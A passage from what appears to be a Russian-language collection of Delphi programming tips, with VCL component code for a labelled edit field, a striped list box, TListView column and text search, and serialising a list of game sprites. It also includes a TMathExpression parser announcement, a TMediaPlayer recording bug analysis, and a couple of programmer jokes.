procedure TLabelEdit.SetLabelCaption(LabelCaption: string);
begin
FLabel.Caption := LabelCaption;
end;
function TLabelEdit.GetEditText: string;
begin
Result := FEdit.Text;
end;
procedure TLabelEdit.SetEditText(EditText: string);
begin
FEdit.Text := EditText;
end;
procedure Register;
begin
RegisterComponents('Test', [TLabelEdit]);
end;
end.
|
TLabel и TEdit без контейнера.
| Автор: Mike Scott |
| Один компьютерщик рассказывает другому: - Представляешь,вчера возвращаюсь с работы чуть раньше обычного, а у жены в постели - незнакомый мужик. И глаза у обоих хитрые-хитрые... Я сразу неладное заподозрил,кинулся к компу, пытаюсь выйти в Интернет - а они, с%ки, пароль сменили... |
При размещении на форме, создается TLabel, расположенный выше поля редактирования. При перемещении поля редактирования, TLabel "следует" за ним. При удалении поля редактирования, TLabel также удаляется. Имеется свойство LabelCaption, так что вы можете редактировать заголовок Tlabel. Вероятно вам потребуются и другие свойства TLabel, типа Font, но этот код только демонстрирует технологию, так что развивайте его по своему усмотрению.
unit LblEdit;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls;
type
TLabelEdit = class(TEdit)
private
FLabel: TLabel;
procedure WMMove(var Msg: TWMMove); message WM_MOVE;
protected
procedure SetParent(Value: TWinControl); override;
function GetLabelCaption: string; virtual;
procedure SetLabelCaption(const Value: string); virtual;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
published
property LabelCaption: string read GetLabelCaption write
SetLabelCaption;
end;
procedure Register;
implementation
constructor TLabelEdit.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
{ создаем TLabel }
FLabel := TLabel.Create(nil);
FLabel.Caption := 'Edit label';
end;
procedure TLabelEdit.SetParent(Value: TWinControl);
begin
{ убеждаемся, что TLabel имеет того же родителя что и TEdit }
if (Owner = nil) or not (csDestroying in Owner.ComponentState) then
FLabel.Parent := Value;
inherited SetParent(Value);
end;
destructor TLabelEdit.Destroy;
begin
if (FLabel <> nil) and (FLabel.Parent = nil) then
FLabel.Free;
inherited Destroy;
end;
function TLabelEdit.GetLabelCaption: string;
begin
Result := FLabel.Caption;
end;
procedure TLabelEdit.SetLabelCaption(const Value: string);
begin
FLabel.Caption := Value;
end;
procedure TLabelEdit.WMMove(var Msg: TWMMove);
begin
inherited;
{ заставляем TLabel 'прилипнуть' к верху TEdit }
if FLabel <> nil then
with FLabel do
SetBounds(Msg.XPos, Msg.YPos - Height, Width, Height);
end;
procedure Register;
begin
RegisterComponents('Samples', [TLabelEdit]);
end;
initialization
{ Мы используем TLabel, поэтому для обеспечения
"поточности" необходима регистрация }
RegisterClass(TLabel);
end.
|
Полосатый TListBox.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TListbox = class(StdCtrls.TListbox)
private
procedure wmEraseBkGnd(var Msg: TWMEraseBkGnd); message WM_ERASEBKGND;
end;
TForm1 = class(TForm)
ListBox1: TListBox; // (!) ListBox1.Style := lbOwnerDrawFixed
Button1: TButton;
procedure Button1Click(Sender: TObject);
procedure ListBox1DrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
{ ... }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
var
i: Integer;
begin
for i := listbox1.Items.Count to listbox1.Items.Count + 5 do
listbox1.Items.Add(Format('Item %d', [i]));
end;
{ TListbox }
const
colors: array [Boolean] of TColor = ($FFFFC0, $C0FFFF);
procedure TListbox.wmEraseBkGnd(var Msg: TWMEraseBkGnd);
var
cv: TCanvas;
h, max: Integer;
r: TRect;
b: Boolean;
begin
Msg.Result := 1;
h := Perform(LB_GETITEMHEIGHT, 0, 0);
if h = LB_ERR then h := ItemHeight;
cv := TCanvas.Create;
try
cv.Handle := Msg.DC;
r := Rect(0, 0, ClientWidth, h);
b := Odd(TopIndex) and (TopIndex >= 0);
max := ClientHeight;
cv.Brush.Style := bsSolid;
while r.Top < max do
begin
cv.Brush.Color := colors[b];
b := not b;
cv.FillRect(r);
OffsetRect(r, 0, h);
end;
finally
cv.Handle := 0;
cv.Free;
end;
end;
procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
var
cb, ct: TColor;
begin
if not (odSelected in State) then
with Control as TListbox do
begin
Canvas.Brush.Color := colors[Odd(Index)];
Canvas.Brush.Style := bsSolid;
end;
Rect.Right := Control.ClientWidth;
with Control as TListbox do
begin
Canvas.FillRect(Rect);
Canvas.Brush.Style := bsClear;
Canvas.TextRect(Rect, Rect.Left + 2, Rect.Top, Items[Index]);
end;
end;
end.
Как узнать, по какой колонке был клик в TListView.
Метод GetItemAt позволяет получить координаты ListItem, по которой был клик, но только для первой колонки TListView. Если нужно узнать по какому элементу из другой колонки кликнул пользователь, то прийдётся объявить новый метод в наследованном классе:
uses ComCtrls;
type
TListViewX = class(TListView)
public
function GetItemAtX(X, Y: integer; var Col: integer): TListItem;
end;
implementation
function TListViewX.GetItemAtX(X, Y: integer;
var Col: integer): TListItem;
var
i, n, RelativeX, ColStartX: Integer;
ListItem: TlistItem;
begin
Result := GetItemAt(X, Y);
if Result <> nil then begin
Col := 0; // Первая колонка
end else if (ViewStyle = vsReport)
and (TopItem <> nil) then begin
// Первая, попробуем найти строку
ListItem := GetItemAt(TopItem.Position.X, Y);
if ListItem <> nil then begin
// Теперь попробуем найти колонку
RelativeX := X - ListItem.Position.X - BorderWidth;
ColStartX := Columns[0].Width;
n := Columns.Count - 1;
for i := 1 to n do begin
if RelativeX < ColStartX then break;
if RelativeX <= ColStartX +
StringWidth(ListItem.SubItems[i - 1]) then
begin
Result := ListItem;
Col := i;
break;
end; //if
Inc(ColStartX, Columns[i].Width);
end; //for
end; //if
end; //if
end;
|
А вот так выглядит событие MouseDown:
procedure TForm1.ListView1MouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
var
col: integer;
li: TListItem;
begin
li := TListViewX(ListView1).GetItemAtX(x, y, col);
if li <> nil then
ShowMessage('Column #' + IntToStr(col));
end;
|
Искать текст в TListView.
| Заходит как то программист в комп.магазин долго ходил смотрел всё высматривал потом подходит к продавщице и просит посмотреть каталог, потом минуту спустя спрашивает: - Извинити это у вас цены или номера ICQ??? |
// Call FindCaption Method to search for a list view item labeled by the
// string specified as the Value parameter
// Syntax:
function FindCaption(StartIndex: Integer; Value: string;
Partial, Inclusive, Wrap: Boolean): TListItem;
// Example, Beispiel:
procedure TForm1.Button1Click(Sender: TObject);
var
lvItem: TListItem;
begin
lvItem := ListView1.FindCaption(0, // StartIndex: Integer;
'99', // Search string: string;
True, // Partial,
True, // Inclusive
False); // Wrap : boolean;
if lvItem <> nil then
begin
ListView1.Selected := lvItem;
lvItem.MakeVisible(True);
ListView1.SetFocus;
end;
end;
// To search for a list view subitem (also for items), use this function:
{
Search for text in a listview item
@Param lv is the listview, supposed to be in vaReport mode
@Param S is the text to search for
@Param column is the column index for the column to search , 0-based
@Returns the found listview item, or Nil if none was found
@Precondition lv nil, lv in report mode if column 0, S not empty
@Desc The search is case-insensitive and will only match on the
complete column content. Use AnsiContainsText instead of AnsiCompareText
to match on a substring in the columns content.
Created 14.10.2001 by P. Below
}
function FindListViewItem(lv: TListView; const S: string; column: Integer): TListItem;
var
i: Integer;
found: Boolean;
begin
Assert(Assigned(lv));
Assert((lv.viewstyle = vsReport) or (column = 0));
Assert(S <> '');
for i := 0 to lv.Items.Count - 1 do
begin
Result := lv.Items[i];
if column = 0 then
found := AnsiCompareText(Result.Caption, S) = 0
else if column > 0 then
found := AnsiCompareText(Result.SubItems[column - 1], S) = 0
else
found := False;
if found then
Exit;
end;
// No hit if we get here
Result := nil;
end;
// Example call:
procedure TForm1.Button1Click(Sender: TObject);
var
lvItem: TListItem;
begin
// Search subitem[0] for text from edit1
// in der Spalte subitem[0] den Text aus Edit1 suchen
lvItem := FindListViewItem(ListView1, Edit1.Text, 1);
// if found, then show the item
// falls item gefunden, dann anzeigen
if lvItem <> nil then
begin
ListView1.Selected := lvItem;
lvItem.MakeVisible(True);
ListView1.SetFocus;
end;
end;
// Function to search items and select if found
procedure LV_FindAndSelectItems(lv: TListView; const S: string; column: Integer);
var
i: Integer;
found: Boolean;
lvItem: TListItem;
begin
Assert(Assigned(lv));
Assert((lv.ViewStyle = vsReport) or (column = 0));
Assert(S <> '');
for i := 0 to lv.Items.Count - 1 do
begin
lvItem := lv.Items[i];
if column = 0 then
found := AnsiCompareText(lvItem.Caption, S) = 0
else if column > 0 then
begin
if lvItem.SubItems.Count >= Column then
found := AnsiCompareText(lvItem.SubItems[column - 1], S) = 0
else
found := False;
end
else
found := False;
if found then
begin
lv.Selected := lvItem;
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
lvItem: TListItem;
begin
// in der Spalte subitem[0] den Text aus Edit1 suchen
LV_FindAndSelectItems(ListView1, Edit1.Text, 1);
ListView1.SetFocus;
end;
|
Файл типа TList.
Ок, но это не так просто, как кажется. Тем не менее, с помощью некоторых людей из конференции, мне удалось сделать это и придать коду законченный вид. Ниже приведен исходный код для Toverheadmap...Обратите внимание на методы объекта ReadData и WriteData, используемые для его записи на диск, и методы SaveToFile и LoadFromFile самого TList. Правильным было бы сделать их более совместимыми (общими), но на это пока у меня не хватило времени. (Т.е., TList должен был бы восстанавливать/сохранять любой объект с помощью метода readdata/writedata.).
unit Charactr;
interface
uses
Graphics, StdCtrls, Classes, Sysutils, Winprocs, Ohmap, ohmstuff;
type
TMapCharacterList = class(TList)
private
FMap: TOverHeadMap;
public
procedure RenderVisibleCharacters; virtual;
procedure Savetofile(const filename: string);
procedure Loadfromfile(const filename: string);
procedure Clear;
destructor Destroy; override;
property MapDisp: TOverHeadMap read FMap write FMap;
end;
TFrameStore = class(TList)
procedure WriteData(Writer: Twriter); virtual;
procedure ReadData(Reader: TReader); virtual;
procedure Clear;
end;
TMapCharacter = class(TPersistent)
private
FName: string;
FMap: TOverHeadMap;
FFrame: Integer;
FFramebm, FFrameMask, FWorkBuf: TBitmap;
FFrameStore, FMaskStore: TFrameStore;
FXpos, FYpos, FZpos: Integer;
FTransColor: TColor;
FVisible, FFastMode, FIsClone, FRedrawBackground: Boolean;
procedure SetFrame(num: Integer);
function GetOnScreen: Boolean;
procedure SetVisible(vis: Boolean);
procedure MakeFrameMask(trColor: TColor);
procedure MakeFrameMasks; {Для переключения в быстрый режим...}
procedure ReplaceTransColor(trColor: TColor);
procedure SetXPos(x: Integer);
procedure SetYPos(y: Integer);
procedure SetZPos(z: Integer);
procedure SetFastMode(fast: Boolean);
public
constructor Create(ParentMap: TOverheadmap); virtual;
destructor Destroy; override;
property Name: string read FName write FName;
property Fastmode: Boolean read FFastMode write SetFastMode;
property FrameStore: TFrameStore read FFrameStore write FFramestore;
property MaskStore: TFrameStore read FMaskStore write FMaskStore;
property Frame: integer read FFrame write SetFrame;
property Framebm: TBitmap read FFramebm;
property FrameMask: TBitmap read FFrameMask;
property TransColor: TColor read FTransColor write FTransColor;
property Xpos: Integer read FXpos write SetXpos;
property YPos: Integer read FYpos write SetYpos;
property ZPos: Integer read FZpos write SetZpos;
property Map: TOverHeadMap read FMap write FMap;
property OnScreen: Boolean read GetOnScreen;
property Visible: Boolean read FVisible write SetVisible;
property IsClone: Boolean read FIsClone write FIsClone;
property RedrawBackground: Boolean read FRedrawBackground write
FRedrawBackground;
procedure Render; virtual;
procedure RenderCharacter(mapcoords: Boolean; cxpos, cypos: Integer; mask,
bm,
wb: TBitmap); virtual;
procedure Clone(Source: TMapCharacter); virtual;
procedure SetCharacterCoords(x, y, z: Integer); virtual;
procedure WriteData(Writer: Twriter); virtual;
procedure ReadData(Reader: TReader); virtual;
end;
implementation
constructor TMapCharacter.Create(ParentMap: TOverheadmap);
begin
inherited Create;
FIsClone := False;
FFramebm := TBitMap.create;
FFrameMask := TBitmap.Create;
FWorkbuf := TBitMap.Create;
if not (FIsClone) then
FFrameStore := TFrameStore.Create;
FTransColor := clBlack;
FFastMode := False;
FMap := ParentMap;
end;
destructor TMapCharacter.Destroy;
var
a, b: Integer;
begin
FFramemask.free;
FFramebm.free;
FWorkBuf.Free;
if not (FIsClone) then
begin
FFrameStore.Clear;
FFrameStore.free;
end;
if (MaskStore <> nil) and not (FIsClone) then
begin
MaskStore.Clear;
MaskStore.Free;
end;
inherited Destroy;
end;
{
Данная процедура копирует важную информацию из символа в себя
...
Стартуем невидимое клонирование, с нулевыми координатами карты.
}
procedure TMapCharacter.Clone(Source: TMapCharacter);
begin
FName := Source.Name;
FFastMode := Source.FastMode;
FFrameStore := Source.FrameStore;
FMaskStore := Source.MaskStore;
FTransColor := Source.TransColor;
FMap := Source.Map;
FVisible := False;
Frame := Source.Frame; {Ищем фрейм триггера.}
FIsClone := True;
end;
procedure TMapCharacter.SetXPos(x: Integer);
begin
Map.Redraw(xpos, ypos, zpos, -1);
FXpos := x;
Render;
end;
procedure TMapCharacter.SetYPos(y: Integer);
begin
Map.Redraw(xpos, ypos, zpos, -1);
FYPos := y;
Render;
end;
procedure TMapCharacter.SetZPos(z: Integer);
begin
Map.Redraw(xpos, ypos, zpos, -1);
FZpos := z;
Render;
end;
procedure TMapCharacter.SetCharacterCoords(x, y, z: Integer);
begin
Map.Redraw(xpos, ypos, zpos, -1);
Fxpos := x;
Fypos := y;
Fzpos := z;
Render;
end;
procedure TMapCharacter.SetFrame(num: Integer);
begin
if (num <= FFrameStore.count - 1) and (num > -1) then
begin
FFrame := num;
FFramebm.Assign(TBitmap(FFrameStore.items[num]));
if Ffastmode = false then
begin
FFrameMask.Width := FFramebm.width;
FFrameMask.Height := FFramebm.height;
FWorkBuf.Height := FFramebm.height;
FWorkBuf.Width := FFramebm.width;
makeframemask(TransColor);
replacetranscolor(TransColor);
end
else
begin
FWorkBuf.Height := FFramebm.height;
FWorkBuf.Width := FFramebm.width;
FFrameMask.Assign(TBitmap(FMaskStore.items[num]));
end;
end;
end;
procedure TMapCharacter.MakeFrameMask(trColor: TColor);
var
testbm1, testbm2: TBitmap;
trColorInv: TColor;
begin
testbm1 := TBitmap.Create;
testbm1.width := 1;
testbm1.height := 1;
testbm2 := TBitmap.Create;
testbm2.width := 1;
testbm2.height := 1;
testbm1.Canvas.Pixels[0, 0] := trColor;
testbm2.Canvas.CopyMode := cmSrcInvert;
testbm2.Canvas.Draw(0, 0, testbm1);
trColorInv := testbm2.Canvas.Pixels[0, 0];
testbm1.free;
testbm2.free;
with FFrameMask.Canvas do
begin
Brush.Color := trColorInv;
BrushCopy(Rect(0, 0, FFrameMask.Width, FFrameMask.Height), FFramebm,
Rect(0, 0, FFramebm.Width, FFramebm.Height), trColor);
CopyMode := cmSrcInvert;
Draw(0, 0, FFramebm);
end;
end;
procedure TMapCharacter.ReplaceTransColor(trColor: TColor);
begin
with FFramebm.Canvas do
begin
CopyMode := cmSrcCopy;
Brush.Color := clBlack;
BrushCopy(Rect(0, 0, FFramebm.Width, FFramebm.Height), FFramebm,
Rect(0, 0, FFramebm.Width, FFramebm.Height), trColor);
end;
end;
function TMapCharacter.GetOnScreen: Boolean;
var
dispx, dispy: Integer;
begin
dispx := Map.width div map.tilexdim;
dispy := Map.height div map.tileydim;
if (xpos >= Map.xpos) and (xpos <= map.xpos + dispx) and (ypos >= map.ypos)
and
(ypos >= map.ypos + dispy) then
result := true;
end;
procedure TMapCharacter.SetVisible(vis: Boolean);
begin
if vis and OnScreen then
Render;
FVisible := vis;
end;
procedure TMapCharacter.SetFastMode(fast: Boolean);
begin
if fast <> FFastMode then
begin
if fast = true then
begin
FMaskStore := TFrameStore.Create;
MakeFrameMasks;
FFastMode := True;
frame := 0;
end
else
begin
FMaskStore.Free;
FFastMode := False;
end;
end;
end;
procedure TMapCharacter.MakeFrameMasks;
var
a: Integer;
bm: TBitMap;
begin
if FFrameStore.count > 0 then
begin
for a := 0 to FFrameStore.Count - 1 do
begin
Frame := a;
bm := TBitMap.create;
bm.Assign(FFrameMask);
FMaskStore.add(bm);
end;
end;
end;
procedure TMapCharacter.Render;
var
x, y: Integer;
begin
if visible and onscreen then
RenderCharacter(true, xpos, ypos, FFramemask, FFramebm, FWorkbuf);
end;
procedure TMapCharacter.RenderCharacter(mapcoords: Boolean; cxpos, cypos:
Integer; mask, bm, wb: TBitmap);
var
x, y: Integer;
begin
if map.ready then
begin
{
Если пользователь определил это в mapcoords, то в первую
очередь перерисовываем секцию(и). Если нет, делает это он.
}
if mapcoords then
begin
if FRedrawBackground then
Map.redraw(cxpos, cypos, FMap.zpos, -1);
wb.Canvas.Draw(0, 0, TMapIcon(FMap.Iconset[map.zoomlevel].items
[FMap.Map.Iconat(cxpos, cypos, Map.zpos)]).image);
x := (cxpos - Map.xpos) * FMap.tilexdim;
y := (cypos - Map.ypos) * FMap.tileydim;
end
else
wb.Canvas.Copyrect(rect(0, 0, FMap.tilexdim, FMap.tileydim), FMap.
Screenbuffer.canvas, rect(x, y, x + FMap.tilexdim,
y + FMap.tileydim));
with wb do
begin
Map.Canvas.CopyMode := cmSrcAnd;
Map.Canvas.Draw(0, 0, Mask);
Map.Canvas.CopyMode := cmSrcPaint;
Map.Canvas.Draw(0, 0, bm);
Map.Canvas.Copymode := cmSrcCopy;
end;
Map.Canvas.CopyRect(Rect(x, y, x + FMap.tilexdim, y + FMap.tileydim), wb.
canvas,
Rect(0, 0, FMap.tilexdim, FMap.tileydim));
end;
end;
procedure TMapCharacter.WriteData(Writer: TWriter);
begin
with Writer do
begin
WriteListBegin;
WriteString(FName);
WriteBoolean(FFastMode);
WriteInteger(TransColor);
FFrameStore.WriteData(Writer);
if FFastMode then
FMaskStore.WriteData(Writer);
WriteListEnd;
end;
end;
procedure TMapCharacter.ReadData(Reader: TReader);
begin
with Reader do
begin
ReadListBegin;
Fname := ReadString;
FFastMode := ReadBoolean;
TransColor := ReadInteger;
FFrameStore.ReadData(Reader);
if FFastMode then
begin
FMaskStore := TFrameStore.Create;
FMaskStore.ReadData(Reader);
end;
ReadListEnd;
end;
end;
procedure TMapCharacterList.RenderVisibleCharacters;
var
a: Integer;
begin
for a := 0 to count - 1 do
TMapCharacter(items[a]).render;
end;
procedure TMapCharacterList.clear;
var
obj: TObject;
begin
{Этот код освобождает все ресурсы, присутствующие в списке}
if self.count > 0 then
begin
repeat
obj := self.items[0];
obj.free;
self.remove(self.items[0]);
until self.count = 0;
end;
end;
destructor TMapCharacterList.Destroy;
var
a: Integer;
begin
if count > 0 then
for a := 0 to count - 1 do
TObject(items[a]).free;
inherited destroy;
end;
procedure TMapCharacterList.loadfromfile(const filename: string);
var
i: Integer;
Reader: Treader;
Stream: TFileStream;
obj: TMapCharacter;
begin
stream := TFileStream.create(filename, fmOpenRead);
try
reader := TReader.create(stream, $FF);
try
with reader do
begin
try
ReadSignature;
if ReadInteger <> $6667 then
raise EReadError.Create('Не список сиволов.');
except
raise EReadError.Create('Неверный формат файла.');
end;
ReadListBegin;
while not EndofList do
begin
obj := TMapCharacter.create(FMap);
try
obj.ReadData(reader);
except
obj.free;
raise EReadError.Create('Ошибка в файле списка символов.');
end;
self.add(obj);
end;
ReadListEnd;
end;
finally
reader.free;
end;
finally
stream.free;
end;
end;
procedure TMapCharacterList.savetofile(const filename: string);
var
Stream: TFileStream;
Writer: TWriter;
i: Integer;
obj: TMapCharacter;
begin
stream := TFileStream.create(filename, fmCreate or fmOpenWrite);
try
writer := TWriter.create(stream, $FF);
try
with writer do
begin
WriteSignature;
WriteInteger($6667);
WriteListBegin;
for i := 0 to self.count - 1 do
TMapCharacter(self.items[i]).writedata(writer);
WriteListEnd;
end;
finally
writer.free;
end;
finally
stream.free;
end;
end;
procedure TFrameStore.WriteData(Writer: TWriter);
var
mstream: TMemoryStream;
a, size: Longint;
begin
mstream := TMemoryStream.Create;
try
with writer do
begin
WriteListBegin;
WriteInteger(count);
for a := 0 to count - 1 do
begin
TBitmap(items[a]).savetostream(mstream);
size := mstream.size;
WriteInteger(size);
Write(mstream.memory^, size);
mstream.position := 0;
end;
WriteListEnd;
end;
finally
Mstream.free;
end;
end;
procedure TFrameStore.ReadData(Reader: TReader);
var
mstream: TMemoryStream;
a, listcount, size: Longint;
newframe: TBitMap;
begin
mstream := TMemoryStream.create;
try
with reader do
begin
ReadListBegin;
Listcount := ReadInteger;
for a := 1 to listcount do
begin
size := ReadInteger;
mstream.setsize(size);
read(mstream.Memory^, size);
newframe := TBitmap.create;
newframe.loadfromstream(mstream);
add(newframe);
end;
ReadListEnd;
end;
finally
Mstream.free;
end;
end;
procedure TFrameStore.clear;
var
Obj: TObject;
begin
{{Этот код освобождает все ресурсы, присутствующие в списке}
if self.count > 0 then
begin
repeat
obj := self.items[0];
obj.free;
self.remove(self.items[0]);
until self.count = 0;
end;
end;
end.
|
TMathExpression - компонент для синтаксического анализа.
Автор: Виталий Бабичев Уважаемые жители, для тестирования предлагается TMathExpression — компонент, предназначенный для синтаксического анализа и расчета математических выражений. Компонент тестировался под Delphi5. Для тестирования предлагается Demo-версия, в которой есть ограничения на количество обрабатываемых формул (не более 10). ВСЕМ, кто примет активное участие в тестировании и даст конкретные предложения по качественному улучшению работы компонента, хелпа к нему или демонстрационной программы, проект будет предоставлен БЕЗ ОГРАНИЧЕНИЙ. Основные возможности
Компонент предназначен для синтаксического анализа и расчета математических выражений. Выражение - арифметическое выражение, состоящее из имен формул, констант и пользовательских функций.
Математические выражения могут быть взяты из любого источника данных (таблица, текстовый файл, лист MSExcel и т.д.).
Проще всего если источником данных является таблица, потому что метод FillExpression формирует список формул из указанной таблицы. Если источником данных является не таблица, то для формирования списка формул надо воспользоваться методом AddExpression.
Формула - поименованное выражение, т.е. любому выражению может быть присвоено имя, и это имя может быть вставлено в другое выражение.
Это сделано для исключения повторного вычисления. Допустим, у Вас есть несколько одинаковых кусочков выражения.
Вы выделяете этот кусочек в отдельное выражение и именуете его. А в другие выражения вставляете наименование этой формулы. При вычислениях формула будет посчитана один раз. А там, где в выражениях встречается это наименование формулы, будет проставлен результат.
Это экономит время расчета.
Функции это тот механизм, ради которого и создавался компонент TMathExpression. У компонента TMathExpression есть свойство-коллекция TFunctions, она и содержит список пользовательских функций с их реализацией. В связи с тем, что функции участвуют в выражениях, они обязательно должны возвращать число. В принципе функции могут делать что угодно (что-то вычислить, обнулить какие-то параметры или даже закрыть какое-нибудь приложение и т.д.), но как результат - возвратить число.
Функции могут быть четырех типов (т.е. их параметры могут быть четырех типов):
1. ПАРАМЕТР - СЧЕТ ИЛИ ИДЕНТИФИКАТОР; Счет может быть представлен в двух вариантах: 1. Счет 2-го порядка (5 символов); Функции, у которых параметр счет второго порядка, возвращают остаток или оборот по счету. 2. Счет 1-го порядка (3 символа); В его состав входит группа счетов в диапазоне от ХХХО0 до ХХХ99 (где ХХХ - номер счета). Функции, у которых параметр счет первого порядка, возвращают сумму остатков или оборотов по группе счетов, входящих в состав счета первого порядка. Первый и второй порядок - это бухгалтерские понятия, в которые я вдаваться не буду. Иногда возникает необходимость расчета параметра, в состав которого входят счета из разных групп. Это, конечно, можно сделать, если составить выражение из функций, параметрами которой являются нужные счета. Но тогда выражение может быть слишком большим, что затрудняет его читаемость и как следствие, возникают трудности с модификацией такого выражения. Для такого случая введено понятие - идентификатор списка счетов. Списку счетов присваивается имя. Далее в выражение вставляется вызов одной функции, параметром которой является имя списка счетов. Это существенно сокращает длину выражения, да и редактировать список счетов гораздо легче. 2. ПАРАМЕТР - НАИМЕНОВАНИЕ ФОРМУЛЫ; Функции, параметрами которых могут быть имена формул. В каких ситуациях это может понадобиться? Допустим у Вас есть ряд однотипных объектов, по которым необходимо сделать сводный отчет. Это могут быть, например, филиалы предприятия в различных регионах, склады и т.д. Вы определяете функцию, которая считает сводный показатель. В данном случае результатом будет сумма значений формулы по всем однотипным объектам. 3. ПАРАМЕТР - ЛЮБОЙ, НО ОДИН; Этот тип функций введен для случаев, которые не попадают под описание первых двух. Например, функция должна возвратить значение по определенному критерию, который не является ни счетом, ни идентификатором списков счетов, ни формулой. Для такого параметра устанавливаются свои правила проверки синтаксиса (для всех остальных правила проверки синтаксиса известны). Но условия при вычислении остаются прежними - функция должна возвратить число. У каждой пользовательской функции есть свойство OnCheckParam, но актуально оно только для этого типа функций (в остальных случаях событие игнорируется, даже если определен обработчик). В обработчике для этого события можно проверять правильность заполнения параметра. Этот обработчик должен быть обязательно определен, в противном случае при синтаксическом разборе будет ошибка. Допустим, у Вас есть справочник с критериями, накопительная база с данными по этим критериям за разные периоды времени и Вы хотите иметь функцию для возврата этих значений. Вы добавляете функцию, присваиваете ей нужный тип и имя. В обработчике для события OnCheckParam, Вы определяете правила проверки синтаксиса, а в обработчике события OnExecFunction ее реализацию. Вот, собственно, и все. 4. УСЛОВНАЯ ФУНКЦИЯ; Аналогом таких функций является условный оператор IF в языках программирования. В такую функцию передается три параметра: условие, выражение если условие истинно, выражение если условие ложно. Условие разделено на две части, между которыми должен стоять один из знаков сравнения ("=","<>","<",">","<=",">="). Все выражения могут содержать в себе любое количество формул, констант и функций.ОБРАБОТКА ОШИБОК.
В связи с тем, что в выражения могут быть вставлены наименования формул, синтаксический анализатор проверяет дополнительно ситуацию зацикливания. Что же это такое зацикливание? Допустим, у Вас есть три формулы:Formula1=Formula2+1 Formula2=Formula3-1 Formula3=Formula1Обратите внимание, что Formula1 ссылается на Formula2, Formula2 ссылается на Formula3, а Formula3 в свою очередь ссылается на Formula1. Образуется замкнутая цепочка, из которой не понятно как производить вычисления, хотя синтаксически все написано правильно. Вот это и называется зацикливанием. При ее возникновении, синтаксический анализатор выдает сообщение об ошибке и выводит всю замкнутую цепочку. Все примеры использования приведены в демонстрационной программе. Буду рад выслушать все замечания и предложения.
Скачать проект: MathExpr.zip (98 K).
VCL.TMediaPlayer. Проблема записи при невыбранном файле.
Автор: Кирилл Грибунин Проблема выявлена в Delphi 6, UpdatePack 2, под управлением Windows 2000, Windows ME, Windows 98. Нужно записать что-то, например, с микрофона, после чего сохранить это в файл, например test.wav. Что для этого делаем. Так как файла на момент начала записи ещё нет, оставляем свойство FileName пустым. Свойство DeviceType ставим dtWaveAudio, т.к. при dtAutoSelect получим при открытии ехсерtiоn с сообщением, что невозможно определить тип устройства из расширения файла.Далее пишем следующий код:
MediaPlayer1.Open; MediaPlayer1.StartRecording; |
Запись не начинается. Отладка функции StartRecording показывает, что последняя строка этой функции:
FError := mciSendCommand( FDeviceID, mci_Record, FFlags, Longint(@RecordParm)); |
Изучение проблемы показывает следующее. В методе Open написан следующий код:
procedure TMediaPlayer.Open;
begin
...
if FDeviceType <> dtAutoSelect then
FFlags := FFlags or mci_Open_Type
else
FFlags := FFlags or MCI_OPEN_ELEMENT;
...
end;
|
ТИПОВЫЕ РЕШЕНИЯ
Видимо, ситуация следующая. В MSDN указывается, что флаг MCI_OPEN_ELEMENT следует использовать не во всех случаях, а в двух ситуациях: Когда используем автоматическое определение устройства по имени файла (при чтении) Когда имя файла не указывается (при записи) При открытии конкретного устройства (например, CD-AUDIO) для чтения, этот флаг указывать не нужно. Таким образом, уже при открытии нужно знать, что мы собираемся дальше делать с устройством. Так как в логике MediaPlayer в методе Open этого нам знать не дано, то можно попытаться в коде этого метода сделать предположения: если имя файла указано, то мы наверняка будем использовать плейер для чтения. В этом случае, если устройство Auto, то флаг указываем, иначе — нет. если имя файла не указано, то мы будем использовать устройство для записи. Флаг ставим.Код этого участка получается следующим:
if FElementName <> '' then
begin
if FDeviceType = dtAutoSelect then
FFlags := FFlags or MCI_OPEN_ELEMENT
else
FFlags := FFlags or mci_Open_Type;
end
else
FFlags := FFlags or MCI_OPEN_ELEMENT;
|
P.S. Код MPlayer.pas вообще довольно неряшлив. Например, в том же методе Open видим следующий фрагмент, в котором два раза проверяется условие FDeviceType <> dtAutoSelect, первый раз — вхолостую:
if FDeviceType <> dtAutoSelect then FFlags := FFlags or mci_Open_Type; if FDeviceType <> dtAutoSelect then FFlags := FFlags or mci_Open_Type else FFlags := FFlags or MCI_OPEN_ELEMENT; |
В MPlayer.pas от Delphi 5 Update pack 1 это место имеет другой вид (кстати, это единственное отличие в коде модуля от версии Delphi 6):
if FDeviceType <> dtAutoSelect then
begin
if FElementName <> '' then
FFlags := FFlags or MCI_OPEN_ELEMENT;
FFlags := FFlags or mci_Open_Type;
end
else
FFlags := FFlags or MCI_OPEN_ELEMENT;
|
Эксперимент показывает, что для успешной операции записи звука в файл (новый или существующий), при явном указании типа устройства, должны быть установлены оба флага - MCI_OPEN_TYPE и MCI_OPEN_ELEMENT. Исправленный для этого случая код выглядит следующим образом:
FFlags := FFlags or MCI_OPEN_ELEMENT; if FDeviceType <> dtAutoSelect then FFlags := FFlags or mci_Open_Type; |
Заранее нельзя определить, открывают TMediaPlayer для записи или нет. Напрашивается мысль, что MCI_OPEN_ELEMENT в случае FDeviceType <> dtAutoSelect можно выставлять только при условии, если устройство поддерживает запись. Об этом можно узнать из флага FCanRecord, значение которого определяется в методе.
procedure TMediaPlayer.GetDeviceCaps; |
Вывод. Исходный код TMediaPlayer нуждается в серьезной доработке. Как "заплатный" вариант, представляется попытка открыть устройство с MCI_OPEN_ELEMENT, а в случае ошибки - сбросить флаг и повторить попытку:
// перенесенный оригинальный участок кода
if FShareable then
FFlags := FFlags or mci_Open_Shareable;
OpenParm.dwCallback := Handle;
// измененный участок
FFlags := FFlags or MCI_OPEN_ELEMENT;
repeat // фиктивный цикл здесь нужен для break
if FDeviceType <> dtAutoSelect then
begin
FFlags := FFlags or mci_Open_Type;
